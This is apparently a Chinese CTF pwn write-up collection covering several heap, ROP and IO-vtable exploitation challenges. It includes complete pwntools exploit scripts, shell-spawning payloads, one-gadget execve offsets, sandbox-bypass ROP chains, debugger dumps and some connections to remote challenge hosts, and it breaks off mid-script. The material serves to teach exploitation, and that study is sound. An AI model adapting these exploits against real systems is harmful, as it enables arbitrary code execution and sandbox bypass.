sh=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn')
scanf_got=elf.got['__isoc99_scanf']
scanf_addr=libc.sym['__isoc99_scanf']
system_addr=libc.sym['system']
atoi_addr=libc.sym['atoll']
print hex(system_addr)
print hex(atoi_addr)
print hex(scanf_addr)
def alloc(idx,size,data):
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Size:')
sh.sendline(str(size))
sh.recvuntil('Data:')
sh.send(data)

def realloc(idx,size,data):
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Size:')
sh.sendline(str(size))
sh.recvuntil('Data:')
sh.send(data)

def free(idx):
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Index:')
sh.sendline(str(idx))

def ufa(idx,size):
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Size:')
sh.sendline(str(size))

def exp():
#gdb.attach(sh,'b *0x401429')
alloc(0,0x30,'aaa')
alloc(1,0x30,'aaa')
for i in range(7):
ufa(0,0)
realloc(0,0x30,p64(0)+p64(0))
ufa(0,0)
free(1)
alloc(1,0x50,'aaa')
sh.recvuntil('Your choice: ')
sh.sendline('1'*0x600)
realloc(0,0x70,'\x58\xe7')
free(1)
alloc(1,0x30,'aa')
realloc(1,0x10,'a')
free(1)
payload=p64(0)+p64(0xfbad1800)+p64(0)*3
#payload=p64(0)*3
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Index:')
sh.sendline(str(1))
sh.recvuntil('Size:')
sh.sendline(str(0x30))
sh.send(payload)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ed8b0
system=libc_base+libc.sym['system']
free

realloc(0,0x10,p64(0)*2)
free(0)
alloc(0,0x48,'a')
ufa(0,0)
realloc(0,0x48,p64(scanf_got)+p64(0)+'a'*0x40)
gdb.attach(sh)
sh.interactive()

exp()

思路二

这个利用方法不行那就换种利用方法,既然能任意地址申请那就直接申请到got表上面进行爆破system地址完成getshell,我采用atoll的got表项,因为atoll的偏移和system偏移很像

1
2
system:0x4f550
atoll: 0x407d0

只要libc的倒数第四个16进制数是0.那这两个地址前面都一样,就最后两个字节不一样,而且system的最后两个字节是\x50\xf5,但经过验证发现跑不通,源于以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
      if ( v4 )
{
heap[v2] = v4;
printf("Data:");
v0 = (_BYTE *)(heap[v2] + read_input(heap[v2], (unsigned int)size));
*v0 = 0;


__int64 __fastcall read_input(__int64 a1, unsigned int a2)
{
__int64 result; // rax

LODWORD(result) = __read_chk(0LL, a1, a2, a2);
if ( !(_DWORD)result )
{
puts("read error");
_exit(1);
}
if ( *(_BYTE *)((int)result - 1LL + a1) == 10 )
*(_BYTE *)((int)result - 1LL + a1) = 0;
return (int)result;
}

有一个off by null,这就意味着要改got表的话,倒数第五个16进制数和倒数第6个十六进制数会被覆盖成0,本来值覆盖两个字节的,结果覆盖了3个,system的地址是有可能会这样,但几率太小了,16 * 16 * 16的几率

思路三

这是我走投无路看别人的wp知道的,不得不说真的很巧妙,漏洞利用是门艺术我觉得在这道题上就有所体现👍👍,我也知道他为啥只有三百多解了,我头一次见用got表利用格式化字符串泄露libc基地址,也更加理解了realloc,不得不说realloc真的很怪,假如ptr是第一个参数,n是第二个参数,当ptr存在,n大于ptr的size的时候,竟然不从tcache上面找合适的链表,而是从topchunk上面重新分配,当ptr不存在,n大于0的时候才相当于一般的malloc,最恶心的机制是还是他会会对ptr进行检查🤢🤢。

大致思路就是先往teache的两个不同size的链表上上atoll_got,然后申请一个改atoll_got为printf_plt,然后格式化字符串泄露基地址,再把另一个atol_got申请到,改成system,输入’/bin/sh\x00’来getshell.最难的是第一步,下面是实现第一步的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
alloc(0,0x10,'a')
ufa(0)
realloc(0,0x10,p64(atoll_got))
alloc(1,0x10,'a')
realloc(0,0x20,'a')
free(0)
realloc(1,0x20,p64(0)*2)
free(1)

alloc(0,0x30,'a')
ufa(0)
realloc(0,0x30,p64(atoll_got))
alloc(1,0x30,'a')
realloc(0,0x40,'a')
free(0)
realloc(1,0x40,p64(0)*2)
free(1)

上面的01始终紧邻topchunk,这样就可以改变01对应堆的大小又不至于使其被free掉,改变了size后再free的话就可以使刚才链表的第一个堆还是atoll_got,这样重复两次就可以了。

先利用0x30链表上的got改成printf_plt,然后再利用0x10改成system,注意顺序不能乱,因为第一次后atoll就成pritnf,当第二次执行atoll得到idx和size的时候数值是函数的返回值,这时候printf的返回值就被当成了idx和size,printf的返回值是输出的格式化字符的个数,要想第二次idx=1,size<=0x10,printf输出的字符串个数就得等于1和小于等于0x10,下面是代码实现

1
2
3
4
sh.recvuntil('Index:')
sh.send('1'+'\x00')
sh.recvuntil('Size:')
sh.sendline('a'*10+'\x00')

下面是处理size的函数代码,可见printf最多输出24个字符,0x30>24,所以不行。

1
2
3
4
5
6
7
8
9
__int64 read_long()
{
char nptr[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
__read_chk(0LL, nptr, 16LL, 17LL);
return atoll(nptr);
}

这是最终脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from os import system
from pwn import *
context(os='linux',log_level='debug')
sh=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn')
atoll_got=elf.got['atoll']
print_plt=elf.plt['printf']
def alloc(idx,size,data):
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Index:')
sh.send(str(idx))
sh.recvuntil('Size:')
sh.send(str(size))
sh.recvuntil('Data:')
sh.send(data)

def realloc(idx,size,data):
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Size:')
sh.sendline(str(size))
sh.recvuntil('Data:')
sh.send(data)

def free(idx):
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Index:')
sh.sendline(str(idx))

def ufa(idx):
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Size:')
sh.sendline('0')

def exp():
#gdb.attach(sh,'b *0x4014D0')
alloc(0,0x10,'a')
ufa(0)
realloc(0,0x10,p64(atoll_got))
alloc(1,0x10,'a')
realloc(0,0x20,'a')
free(0)
realloc(1,0x20,p64(0)*2)
free(1)

alloc(0,0x30,'a')
ufa(0)
realloc(0,0x30,p64(atoll_got))
alloc(1,0x30,'a')
realloc(0,0x40,'a')
free(0)
realloc(1,0x40,p64(0)*2)
free(1)

alloc(0,0x30,p64(print_plt))
sh.recvuntil('Your choice:')
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline('%9$p')
libc_base=int(sh.recvuntil('\n').split('\n')[0],16)-0x3ec760
print hex(libc_base)
system=libc_base+libc.sym['system']

sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Index:')
sh.send('1'+'\x00')
sh.recvuntil('Size:')
sh.sendline('a'*10+'\x00')
sh.recvuntil('Data:')
sh.send(p64(system))
free('/bin/sh\x00')
sh.interactive()

exp()

总结

got表真是个好东西(如果能写的话)

house of husk

针对printf函数的攻击,主要利用printf函数的虚表,通过篡改虚表指针执行ogg。

原理

printf函数在执行过程中会根据第一个格式化字符”%X”在虚表__printf_arginfo_table和__printf_function_table寻找函数指针进行执行,具体寻找过程就是__printf_arginfo_table[‘X’],找到这个指针,然后跳到这执行,只要把这里的指针改成ogg就可以getshell,修改这里的指针大致分为两种办法,一种是任一地址写,直接写这两个虚表对应地址的指针,第二个是通过堆伪造这两个虚表,第一个很好理解,主要讲一下第二个。

伪造虚表

__printf_arginfo_table和__printf_function_table这两个虚表地址储存在main_arena下面的地址中,而且和main_arena首地址很接近,在我这个glibc版本下只相差0xc30,这是伪造的第一步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x7ffff7dce870 <__printf_arginfo_table>:	0x000000000060bb90	0x0000000000000000
0x7ffff7dce880 <buf>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce890 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8a0 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8b0 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8c0 <buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8d0 <ttyname_buf>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8e0 <getmntent_buffer>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce8f0 <qfcvt_bufptr>: 0x0000000000000000 0x0000000000000000
0x7ffff7dce900 <buffer>: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx &main_arena
0x7ffff7dcdc40 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7ffff7dcdc50 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc60 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dcdc70 <main_arena+48>: 0x0000000000000000 0x0000000000000000

要想执行这两个虚表储存的函数指针,得先找见这两个虚表地址才行,然后通过虚表地址加上偏移量得到函数地址跳进去执行,这两个虚表地址储存在固定的位置,所以只要能覆盖这两个虚表地址成堆地址,然后再相应偏移量处添上ogg就可以getshell了吗不是。

现在关键的就是覆盖虚表地址,网上的普遍做法是利用House of Corrosion技术。这个技术和fastbin息息相关。

House of Corrosion

众所周知,fastbin链表的大小是0x20到0x80之间,但其实最大值并不是固定的,而是global_max_fast中的值决定的,一般是0x80,所以fastbin的最大值就是0x80

1
0x7ffff7dcf940 <global_max_fast>:	0x0000000000000080	0x0000000000000000

所以可以通过改变这个地方的值让fasbin能接受的最大值变大,一般是利用unsortbinattack,也可以直接ufa来完成。

还有一个知识点就是从main_arena+8开始存放fastbin[0x20]的头指针,glibc预留了十个指针来存放fastbin的头指针,比如free的chunk是0x50,那储存这个堆地址的地址是main_arena+8+(0x50-0x20)/0x10*8也就是在main_arena+32处存放堆地址,简而言之就是main_arena+8加上偏移量处存放堆地址,这个偏移量和size正相关,当通过修改global_max_fast的值让可free的chunk的size是任意值,那我们就可以向main_arena+8后的任意一个地址填上堆地址了。

很有意思的攻击手段,那也就是说可以向__printf_arginfo_table和__printf_function_table中填入堆地址了,到这里攻击思路就闭环。

攻击思路

先修改global_max_fast的值,然后申请两个堆,堆的大小通过下面的公式算出,各伪造一个虚表,然后再伪造printf_arginfo_table的堆上写好ogg,然后都free掉修改虚表地址,最后调用printf完成攻击

总结

1.不同版本main_arena+8到__printf_arginfo_table和__printf_function_table的偏移量不同,根据偏移量确定size的值完成堆地址覆盖。

​ chunk_size=地址差值*2+0x20

2.实施前提:

​ 1.有至少一次ufa完成global_max_fast的修改

​ 2.有prinf函数且第二个参数可控

例题 HWS pwn1

感觉这道题作为house of husk的入门题挺不错的,简直就是专门为这个利用而生,刚好有一次unsortbinatack,刚好能申请两个合法的堆,刚好有很多printf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
sh=process('./pwn')
context.log_level='debug'
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
fastbinY=libc.sym['__malloc_hook']+0x10+8
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
def exp():
sh.recvuntil('Now you can get a big box, what size?\n')
print_arginfo_table=0x3ec870
printf_function_table=0x3f0738
chunk_size1=(print_arginfo_table-fastbinY)*2+0x20-2*0x10
chunk_size2=(printf_function_table-fastbinY)*2+0x20-2*0x10
sh.sendline(str(chunk_size1))
sh.recvuntil('Now you can get a bigger box, what size?\n')
sh.sendline(str(chunk_size2))
sh.recvuntil('Do you want to rename?(y/n)\n')
sh.send('y\x00')
sh.recvuntil('Now your name is:')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
sh.recvuntil('please input your new name!\n')
global_max_fast_addr=libc_base+0x3ed940
sh.send(p64(0)+p64(global_max_fast_addr-0x10))

sh.recvuntil('box?(1:big/2:bigger)\n')
sh.sendline('1')
sh.recvuntil('Let\'s edit, ')
ogg=libc_base+0x4f432
print hex(ogg)
#gdb.attach(sh)
payload="a"*8*(ord('s')-2) + p64(ogg)*2
sh.sendline(payload)
sh.interactive()
exp()

HGAME—-PWN

感觉题目质量挺高的,目前就做了pwn1,pwn3,pwn4.pwn1是一个简单的栈溢出,重点记录一下pwn3和pwn4的攻击思路,因为是我第一次见到这种思路。(全程被ayoung和mark带)

pwn3

题目提示反弹不了shell而且存flag的文件不叫flag,所以不能用传统的orw的rop来得到flag,沙盒里也禁用了一些函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rootzhang@rootzhang-virtual-machine:~/get-shell/hgame/pwn3/to_give_out$ seccomp-tools dump ./vuln
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x09 0x00 0x40000000 if (A >= 0x40000000) goto 0013
0004: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0013
0005: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0013
0006: 0x15 0x06 0x00 0x00000101 if (A == openat) goto 0013
0007: 0x15 0x05 0x00 0x00000003 if (A == close) goto 0013
0008: 0x15 0x04 0x00 0x00000055 if (A == creat) goto 0013
0009: 0x15 0x03 0x00 0x00000086 if (A == uselib) goto 0013
0010: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0013
0011: 0x15 0x01 0x00 0x0000003a if (A == vfork) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

有些沙盒是白名单,有些沙盒是黑名单,这个就是黑名单,可以看出禁用了execve函数不能反弹shell.

攻击思路

不能弹shell的话就得用orw来读flag,用orw的话得先知道对面文件名才行,mark提示说用getdents函数得到文件名再用orw得到flag,getdents函数的完整攻击思路是ogw,意即用open打开文件夹,用getdents函数把文件名在写程序里,然后用write函数写出来,这是调用他们时的参数构造

1
2
3
open('./',0x1000,0)
getdents(句柄(0),地址,unsigned int count)
write(1,地址,unsigned int count)

先通过rop调用ogw得到flag文件名,然后调用orw读flag

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level='debug'
#sh=process('./vuln')
sh=remote('chuj.top',42614)
elf=ELF('./vuln')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc-2.31.so')
'''
x0000000000401443: pop rdi; ret;
0x0000000000401441: pop rsi; pop r15; ret;
0x000000000040143d: pop rsp; pop r13; pop r14; pop r15; ret;
0x000000000011c371: pop rdx; pop r12; ret;
x0000000000066229: syscall; ret;
0x000000000004a550: pop rax; ret;
'''
#gdb.attach(sh,'b *0x00000000004013DC')
pop_rdi=0x0000000000401443
pop_rsi_r15=0x0000000000401441
main=0x401311
write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
sh.recvuntil('size?\n')
sh.sendline('-1')
sh.recvuntil('content?\n')
bss_addr=0x404000
payload='a'*0x30+p64(bss_addr+0x100)+p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi_r15)+p64(write_got)*2+p64(write_plt)
payload+=p64(main)
sh.sendline(payload)
sh.recvuntil('done!\n')
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-libc.sym['write']
execve_addr=libc_base+libc.sym['execve']
binsh_addr=libc_base+next(libc.search('/bin/sh'))
system_addr=libc_base+libc.sym['system']
pop_rdx_r12=libc_base+0x000000000011c371
syscall_addr=libc_base+0x0000000000066229
pop_rax=libc_base+0x000000000004a550
b='b *{0}'.format(syscall_addr)
#gdb.attach(sh,b)
print hex(libc_base)
print hex(execve_addr)
sh.recvuntil('size?\n')
sh.sendline('-1')
sh.recvuntil('content?\n')
payload='a'*0x30+p64(bss_addr+0x100)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)
payload+=p64(bss_addr+0x100)*2+p64(pop_rdx_r12)+p64(0x30)*2+p64(pop_rax)+p64(0)
payload+=p64(syscall_addr)+p64(main)
sh.sendline(payload)
sh.recvuntil('done!\n')
#sh.send('./\x00')
sh.send('flagd44b02e91a1d1648cbfc\x00')
sh.recvuntil('size?\n')
sh.sendline('-1')
sh.recvuntil('content?\n')
payload='a'*0x30+p64(bss_addr+0x100)+p64(pop_rdi)+p64(bss_addr+0x100)+p64(pop_rsi_r15)
payload+=p64(0)*2+p64(pop_rdx_r12)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall_addr)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss_addr+0x100)*2+p64(pop_rdx_r12)
payload+=p64(0x300)*2+p64(pop_rax)+p64(0)+p64(syscall_addr)+p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi_r15)+p64(bss_addr+0x100)*2+p64(pop_rdx_r12)+p64(0x300)*2
payload+=p64(pop_rax)+p64(1)+p64(syscall_addr)+p64(main)
sh.sendline(payload)
sh.interactive()
#hgame{1-4dm1T~The-rop-ChA!N-M4YBE~TOoO0oooO0-l0Ng_And~$Orry_fOR_ThE~|Nc0NVenIENCE:(}

总结

感觉构造rop的挺好玩的

pwn4

程序就是spfa算法的实现,刚开始我就分析出思路了,就是利用dist进行任意读和任意写,本来打算是利用exit_hook拿shell的,改是能改成功,但是改成功后程序就异常退出了,他也不调用exit-hook啊,实现+调试+发现错误+定位错误就用了一天,晚上十二点多是在受不了就问了ayoung,他告诉我改写io虚表指针,我哪知道这是啥啊,第一次听,但是改io指针肯定是通过printf或者scanf实现的,我就进行慢慢调试程序,还真被我发现一些虚表了,mark利用io_file_jumps出了,我利用io_helper_jumps出了(四点出的)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context.log_level='debug'

sh=remote('chuj.top',47250)
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#sh=process('./spfa')
libc=ELF('./libc-2.31.so')
#gdb.attach(sh,'b main')
def pwn():
#gdb.attach(sh,"b main")
sh.sendlineafter('how many datas?\n>> ','3')
sh.sendlineafter('how many nodes?\n>> ','2')
sh.sendlineafter('how many edges?\n>> ','1')
sh.recvuntil('input edges in the\n[from] [to] [distant]\nformat')
sh.sendline(str(0x10))
sh.sendline(str(0x20))
sh.sendline(str(0x30))
sh.sendlineafter('you want to start from which node?\n>> ',str(0x10))
sh.sendlineafter(' to ?\n>>',str(-2275))
sh.recvuntil('the length of the shortest path is ')
dist_addr=int(sh.recvuntil('\n').split('\n')[0])-8+0x4720
elf_base=dist_addr-0x4720-0x7000
bss_addr=dist_addr-0x4720
dock_addr=elf_base+0x16A5
print hex(bss_addr)

sh.sendlineafter('how many nodes?\n>> ','2')
sh.sendlineafter('how many edges?\n>> ','1')
sh.recvuntil('input edges in the\n[from] [to] [distant]\nformat')
sh.sendline(str(0x30))
sh.sendline(str(0x40))
sh.sendline(str(0x50))
sh.sendlineafter('you want to start from which node?\n>> ',str(0x10))
sh.sendlineafter(' to ?\n>>',str(-2272))
sh.recvuntil('the length of the shortest path is ')
libc_base=int(sh.recvuntil('\n').split('\n')[0])-libc.sym['_IO_2_1_stdout_']
print hex(libc.sym['_IO_file_jumps'])
#io=libc_base+0x1ec8a0+0x38
io=libc_base+libc.sym['_IO_file_jumps']+0x28
print hex(io)

sh.sendlineafter('how many nodes?\n>> ','2')
sh.sendlineafter('how many edges?\n>> ','1')
sh.recvuntil('input edges in the\n[from] [to] [distant]\nformat')
sh.sendline(str(0x10))
sh.sendline(str((io-dist_addr)/8))
sh.sendline(str(dock_addr))
#gdb.attach(sh)
sh.sendlineafter('you want to start from which node?\n>> ',str(0x10))
#sh.sendlineafter(' to ?\n>>','1')
# sh.recvuntil('the length of the shortest path is ')

# sh.sendlineafter('how many nodes?\n>> ','2')
# sh.sendlineafter('how many edges?\n>> ','1')
# sh.recvuntil('input edges in the\n[from] [to] [distant]\nformat')
# sh.sendline(str(1))
# sh.sendline('-2217')
# gdb.attach(sh)
# sh.sendline(str(bss_addr+0x100+0xd8+0x38))
# sh.sendlineafter('you want to start from which node?\n>> ',str(0x10))
# sh.sendlineafter(' to ?\n>>',str(-2272))
# sh.recvuntil('the length of the shortest path is ')
sh.interactive()

pwn()

总结

调试程序越来越熟练了,通过调试printf函数的执行过程也直观了解了虚表的作用,以后能任意写除了got表和exit,还能改写虚表拿shell了。

sctf2021 gadget

知识点:64位程序转32位,三十二位使用int80调用open,alarm侧信道攻击

做过的最难的构造rop题目了,但学到了很多东西,用了快两天才复现成功,这道题能搜到的wp就两个,而且只有脚本,没有多少讲解,我是硬着头皮看脚本一步步动态调试才搞明白,所以这篇wp我会写的细一点,一方面有可能对其他人有用(几乎不可能),一方面加深我的理解。

64位程序转32位

程序运行起来时,专门有一个寄存器cs来决定到底是以64位运行还是以32位运行,当cs为0x33时,程序以64位运行,当cs是0x23时程序以32位运行,这个寄存器并不是不能更改的,专门有个指令retfq用来更改cs,最关键的是retfq还有跳转功能,那就代表组成攻击链。

retfq有三步操作(就结果而言),先设置cs为[rsp+0x8],然后rsp+0x10,然后跳转到rsp-0x10,这样说可能有点抽象,我们可以用gadget来实操一下

1
payload=p64(retfq)+p64(ret)+p64(0x23)+p32(pop_rax)

然后在这里下断点运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x409d1c <__futexwait+113> pop rsp
0x409d1d <__futexwait+114> mov edi, 0x88bf2838
0x409d22 <__futexwait+119> ret

► 0x4011ec <main+28> retfq

0x4011ec <main+28> retfq
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x40d010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x401002 (_init+2) ◂— ret
01:0008│ 0x40d018 ◂— 0x23 /* '#' */
02:0010│ 0x40d020 (__dso_handle) ◂— 0x500401001
03:0018│ 0x40d028 (__dso_handle+8) ◂— 0x40d00000403072 /* 'r0@' */
04:0020│ 0x40d030 (install_seccomp.filter) ◂— 0x40d0000040d000
05:0028│ 0x40d038 (install_seccomp.filter+8) ◂— 0x40117b0040d000
06:0030│ 0x40d040 (install_seccomp.filter+16) ◂— 0x4011f300000000
07:0038│ 0x40d048 (install_seccomp.filter+24) ◂— 0x401002004011ec
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────

这时要执行retfq时的指令区和栈区,执行完后就变成这样了。

1
2
3
4
5
6
7
8
9
10
11
 ► 0x401002 <_init+2>    ret    <0x500401001>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x40d020 (__dso_handle) ◂— 0x500401001
01:0008│ 0x40d028 (__dso_handle+8) ◂— 0x40d00000403072 /* 'r0@' */
02:0010│ 0x40d030 (install_seccomp.filter) ◂— 0x40d0000040d000
03:0018│ 0x40d038 (install_seccomp.filter+8) ◂— 0x40117b0040d000
04:0020│ 0x40d040 (install_seccomp.filter+16) ◂— 0x4011f300000000
05:0028│ 0x40d048 (install_seccomp.filter+24) ◂— 0x401002004011ec
06:0030│ 0x40d050 (install_seccomp.filter+32) ◂— 0x40100100000033 /* '3' */
07:0038│ 0x40d058 (install_seccomp.filter+40) ◂— 0x0
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────

此时rsp已经加10,要执行的指令也是此时的rsp-0x10,即我们构造的ret,rsp也是我们构造的gadget的指令,这样攻击链就连上了(跳转功能)。

三十二位使用int80调用open

64位系统调用open和32位系统调用open函数的寄存器布置并不相同,网上也没什么资料,搜了好久然后问了ayoung佬才搞懂。在64位系统调用时要布置rax,rdi,rsi,rbx四个参数,rax是系统调用号,后面三个是参数,在32位系统调用时是布置ecx,eax,ebx,edx,四个参数的作用如下图如下图,其中eax,ebx必须非常严谨,ecs和edx布不布置都行,但ecx为0会提高成功率(奇怪的知识),所以最好还是布置ecx。

image-20220119222532362

在32位程序中系统调用并不是syscall(而且并不存在),而是int80指令,选择gadget的时候最好选择int80;ret(如果后面还有rop要执行的话),

1
int 80;ret

alarm侧信道攻击

alarm函数是程序的一个计时函数,比如程序刚开始调用alarm(10),那这个函数从这个时间点开始只能再执行十秒钟

利用思路:可以把flag的每个字符mov给rdi后调用alarm函数,从alarm函数开始执行的时候计时,然后检测程序的结束时间,结束时间减去开始时间就是rdi的值即flag的每个字符的值。

重点:当执行完alarm函数后得让程序陷入死循环,不然执行完alarm函数就直接退出程序了,不能达到我们想要的目的,比如这个rop

1
payload=p64(alarm)+p64(0)+p64(pop_rsi_r15_rbp)+p64(push_rsi_ret)+p64(0)*2+p64(push_rsi_ret)

题目

checksec分析

1
2
3
4
5
6
[*] '/home/rootzhang/get-shell/sctf2021/gadget/gadget'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

沙盒分析

1
2
3
4
5
6
7
8
9
10
11
rootzhang@ubuntu:~/get-shell/sctf2021/gadget$ seccomp-tools dump ./gadget
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x03 0x00 0x40000000 if (A > 0x40000000) goto 0005
0002: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0006
0003: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0006
0004: 0x15 0x01 0x00 0x00000025 if (A == alarm) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW

只允许调用fstat(32位下的open函数),read函数和alarm函数,从这里就可以看出做题思路了,先64位转三十二位调用open函数读flag,然后再转成64位调用read函数把flag写到程序里,然后alarm侧信道爆破

ida反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rcx
int v5; // er8
int v6; // er9
char v9[44]; // [rsp+10h] [rbp-30h] BYREF
int v10; // [rsp+3Ch] [rbp-4h]

v10 = 0;
alarm_sys(48LL, argv, envp);
install_seccomp(48LL, (__int64)argv, v3, v4, v5, v6);
read_sys(v9);
return (int)&locret_401002;
}

__int64 __fastcall read_sys(char *a1)
{
return (unsigned int)sys_read(0, a1, 0xC0uLL);
}

程序非常简单没有canary还有溢出,那就直接溢出构造rop完成攻击思路,注意rop非常长所以得进行栈迁移才行。

第一步调用read函数把rop写到bss段然后栈迁移到这里

1
2
3
payload='a'*0x38+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(0)+p64(bss_base)
payload+=p64(pop_r12_r14_r15_rbp)+p64(0x300)+p64(sys_read)+p64(bss_base)+p64(bss_base)
payload+=p64(mov_rsi_rdx_call_r14)+p64(pop_rsp_mov_edi)+p64(bss_base+0x8)

第二步retfq后调用open函数读flag文件,然后再retfq后调用read函数把flag写到bss段,然后再调用read函数进栈迁移

1
2
3
4
5
6
7
payload='./flag\x00\x00'+p64(retfq)+p64(ret)+p64(0x23)
payload+=p32(pop_rax)+p32(5)+p32(pop_rbx_r14_r15_rbp)+p32(bss_base)*4
payload+=p32(pop_rcx)+p32(0)+p32(int80_ret)+p32(retfq)+p32(ret)
payload+=p32(0x33)+p64(pop_rax)+p64(0)+p64(pop_rdi_rbp)+p64(3)+p64(bss_base)
payload+=p64(sys_ret)+p64(pop_rdi_rbp)+p64(0)*2+p64(pop_rsi_r15_rbp)
payload+=p64(bss_base+1+num+)*2+p64(bss_base+8+num+)+p64(pop_rax)+p64(0)+p64(sys_ret)+p64(pop_rsp_mov_edi)+p64(bss_base+8+num+)
paylaod=payload.ljust(0x300,'\x00')

第三步把alarm函数的rop写入bss段然后计时(注意不能在第二步就把alarm函数的rop就写入栈中,这样做的话我们就不能知道alarm函数到底是什么时候调用的,因为前面执行了好多代码了)

1
2
3
4
5
6
7
8
9
10
11
12
payload='\x00\x00\x00\x00\x00\x00\x00'+p64(alarm)+p64(0)+p64(pop_rsi_r15_rbp)+p64(push_rsi_ret)+p64(0)*2
payload+=p64(push_rsi_ret)
sh.send(payload)
start=time.time()
try:
sh.recv()
except:
end=time.time()
asc=int(end-start)
global flag
flag+=chr(asc)
print flag

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
